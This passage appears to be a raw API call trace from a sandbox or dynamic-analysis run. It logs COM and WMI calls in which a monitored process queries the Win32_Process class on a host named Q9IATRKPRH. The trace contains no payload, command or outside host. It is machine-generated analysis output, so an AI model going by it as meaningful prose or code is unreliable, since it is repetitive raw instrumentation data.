0x2 [0067.583] WbemLocator:IUnknown:Release (This=0x1bf3dec0) returned 0x0 [0067.584] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0067.584] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0067.584] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8250, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef14c0) returned 0x0 [0067.584] WbemLocator:IRpcOptions:Query (in: This=0x1bef14c0, pPrx=0x1bf3dd00, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0067.584] WbemLocator:IUnknown:Release (This=0x1bef14c0) returned 0x2 [0067.584] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0067.584] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0067.584] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8250, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x11c8250) returned 0x0 [0067.584] WbemLocator:IUnknown:Release (This=0x11c8250) returned 0x2 [0067.584] SysStringLen (param_1=0x0) returned 0x0 [0067.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0067.584] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0067.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0067.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0067.585] IWbemServices:GetObject (in: This=0x11c8250, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf45ad0, ppCallResult=0x0) returned 0x0 [0067.589] IWbemClassObject:Get (in: This=0x1bf45ad0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0067.589] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0067.589] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0067.589] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0067.590] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0067.590] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0067.590] IUnknown:Release (This=0x111f638) returned 0x1 [0067.591] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf3dec0) returned 0x0 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3dec0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0067.592] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3dec0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3c000) returned 0x0 [0067.592] WbemDefPath:IUnknown:Release (This=0x1bf3dec0) returned 0x0 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3c000) returned 0x0 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0067.592] WbemDefPath:IUnknown:AddRef (This=0x1bf3c000) returned 0x3 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0067.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf3db40) returned 0x0 [0067.592] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3db40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.592] WbemDefPath:IUnknown:Release (This=0x1bf3db40) returned 0x3 [0067.592] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0067.593] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0067.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0067.593] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x2 [0067.593] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x1 [0067.593] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0067.593] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0067.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3c000) returned 0x0 [0067.593] WbemDefPath:IUnknown:AddRef (This=0x1bf3c000) returned 0x3 [0067.593] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x2 [0067.593] WbemDefPath:IWbemPath:SetText (This=0x1bf3c000, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0067.593] IWbemClassObject:Get (in: This=0x1bf45ad0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0067.593] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0067.593] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0067.593] IWbemClassObject:Get (in: This=0x1bf45ad0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0067.593] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0067.594] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0067.594] IWbemClassObject:Get (in: This=0x1bf45ad0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0067.594] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0067.594] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0067.594] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0067.594] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0067.594] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0067.594] IUnknown:Release (This=0x111f638) returned 0x1 [0067.596] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3da20) returned 0x0 [0067.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3da20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0067.596] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3da20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c0c0) returned 0x0 [0067.596] WbemDefPath:IUnknown:Release (This=0x1bf3da20) returned 0x0 [0067.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c0c0) returned 0x0 [0067.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0067.597] WbemDefPath:IUnknown:AddRef (This=0x1bf3c0c0) returned 0x3 [0067.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0067.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0067.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3dac0) returned 0x0 [0067.597] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3dac0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.597] WbemDefPath:IUnknown:Release (This=0x1bf3dac0) returned 0x3 [0067.597] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0067.597] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0067.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0067.597] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x2 [0067.597] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x1 [0067.597] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0067.597] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0067.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c0c0) returned 0x0 [0067.597] WbemDefPath:IUnknown:AddRef (This=0x1bf3c0c0) returned 0x3 [0067.597] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x2 [0067.597] WbemDefPath:IWbemPath:SetText (This=0x1bf3c0c0, uMode=0x4, pszPath="") returned 0x0 [0067.597] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0067.597] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0067.597] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0067.597] IUnknown:Release (This=0x111f638) returned 0x1 [0067.599] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3da20) returned 0x0 [0067.599] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3da20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0067.599] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3da20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c180) returned 0x0 [0067.599] WbemDefPath:IUnknown:Release (This=0x1bf3da20) returned 0x0 [0067.599] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c180) returned 0x0 [0067.599] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0067.600] WbemDefPath:IUnknown:AddRef (This=0x1bf3c180) returned 0x3 [0067.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0067.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0067.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3db00) returned 0x0 [0067.600] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3db00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.600] WbemDefPath:IUnknown:Release (This=0x1bf3db00) returned 0x3 [0067.600] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0067.600] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0067.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0067.600] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x2 [0067.600] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x1 [0067.600] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0067.600] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0067.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c180) returned 0x0 [0067.600] WbemDefPath:IUnknown:AddRef (This=0x1bf3c180) returned 0x3 [0067.600] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x2 [0067.600] WbemDefPath:IWbemPath:SetText (This=0x1bf3c180, uMode=0x4, pszPath="") returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c0c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0067.600] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3c180, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0067.600] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c180, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0067.600] WbemDefPath:IWbemPath:SetServer (This=0x1bf3c180, Name="Q9IATRKPRH") returned 0x0 [0067.601] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0067.601] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0067.601] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0067.601] IUnknown:Release (This=0x111f638) returned 0x1 [0067.602] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3db20) returned 0x0 